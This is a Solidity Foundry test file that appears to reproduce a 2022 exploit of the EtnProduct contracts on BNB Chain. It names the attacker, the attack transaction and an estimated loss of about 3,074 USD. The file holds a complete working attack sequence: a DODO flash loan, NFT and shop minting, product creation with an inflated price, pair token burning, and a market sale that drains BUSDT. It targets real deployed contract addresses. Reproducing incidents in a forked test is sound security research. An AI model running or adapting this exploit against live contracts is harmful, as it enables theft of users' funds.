src/test/2022-08/EtnProduct_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "./../interface.sol";
5 
6// @KeyInfo -- Total Lost : ~3074 USD
7// TX : https://app.blocksec.com/explorer/tx/bsc/0x72321a3b50bb68ac3b46b0ab973b0e87b6c48ab73d23c4ba2cb73527f978d995
8// Attacker : https://bscscan.com/address/0xde703797fe9219b0485fb31eda627aa182b1601e
9// Attack Contract : https://bscscan.com/address/0x178bf96e303fb31aef1b586271a63acd33e4eaf7
10// GUY : https://x.com/BeosinAlert/status/1555439220474642432
11 
12interface Etnshop {
13    function invite(address to, uint256 commId) external;
14    function mint(uint256 commId, string memory name, string memory logo) external returns (uint256);
15}
16 
17interface Etnnft is IERC721 {
18    function mintETN(string memory uri, string memory name, string memory cid) external payable;
19}
20 
21interface EtnProduct {
22    function newProduct(
23        uint256 commId,
24        uint256 shopId,
25        uint256 price,
26        string memory name,
27        string memory video
28    ) external;
29}
30 
31interface Umarket {
32    function saleU(
33        uint256 _amount
34    ) external;
35}
36 
37contract Exploit is Test {
38    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
39    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
40    IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
41    IPancakePair Pair = IPancakePair(0xc9053B00720EB661BBdDC7BD6abA1d222aAd5a71);
42    IERC20 U = IERC20(0xaa33085e8Fa2CB903157324603E4601299E5dA06);
43    Etnshop Shop = Etnshop(0xBceF2955C8955342E9CC92A090bDaEcFF8c562F8);
44    Etnnft NFT = Etnnft(0x48835A9065AF7315916ADfc1f952b7aBebdBFd62);
45    EtnProduct etnproduct = EtnProduct(0x1292267f726e6F313972ec4e14578735473e1649);
46    Umarket Market = Umarket(0xc0e8D30D2ead2C324b3f1A8386992Ba1Be534CbF);
47    address constant dodo = 0x52D1C9E81D2bacDAe4c0E6815E63Db8EFBA5fD37;
48    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
49 
50    function setUp() external {
51        cheats.createSelectFork("bsc", 20_147_974);
52        deal(address(BUSDT), address(this), 0 ether);
53    }
54 
55    function testExploit() external {
56        emit log_named_decimal_uint("[Begin] Attacker BUSDT before exploit", BUSDT.balanceOf(address(this)), 18);
57 
58        DVM(dodo).flashLoan(0, 9400 * 1e18, address(this), "0x123");
59 
60        emit log_named_decimal_uint("[End] Attacker BUSDT after exploit", BUSDT.balanceOf(address(this)), 18);
61    }
62 
63    function DVMFlashLoanCall(address a, uint256 b, uint256 c, bytes memory d) public {
64        approveAll();
65        swap_token_to_token(address(BUSDT), address(WBNB), 7380 ether);
66 
67        NFT.mintETN{value: 24.15458972 ether}("fw", "sb", "jb");
68        Shop.invite(address(this), 11);
69        Shop.mint(11, "fw", "sb");
70 
71        etnproduct.newProduct(11, 0, 10_000_000_000, "jb", "sb");
72 
73        Pair.transfer(address(Pair), 600_000 ether);
74 
75        Pair.burn(address(this));
76 
77        U.approve(address(Market), 9_999_999 ether);
78 
79        Market.saleU(11_253_734_856_316_884_358_000);
80 
81        BUSDT.transfer(address(msg.sender), c);
82    }
83 
84    function swap_token_to_token(address a, address b, uint256 amount) internal {
85        IERC20(a).approve(address(Router), amount);
86        address[] memory path = new address[](2);
87        path[0] = address(a);
88        path[1] = address(b);
89        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
90    }
91 
92    function approveAll() internal {
93        WBNB.approve(address(Shop), type(uint256).max);
94        WBNB.approve(address(NFT), type(uint256).max);
95        BUSDT.approve(address(Shop), type(uint256).max);
96        BUSDT.approve(address(NFT), type(uint256).max);
97    }
98 
99    function onERC721Received(
100        address _operator,
101        address _from,
102        uint256 _tokenId,
103        bytes calldata _data
104    ) external returns (bytes4) {
105        return this.onERC721Received.selector;
106    }
107}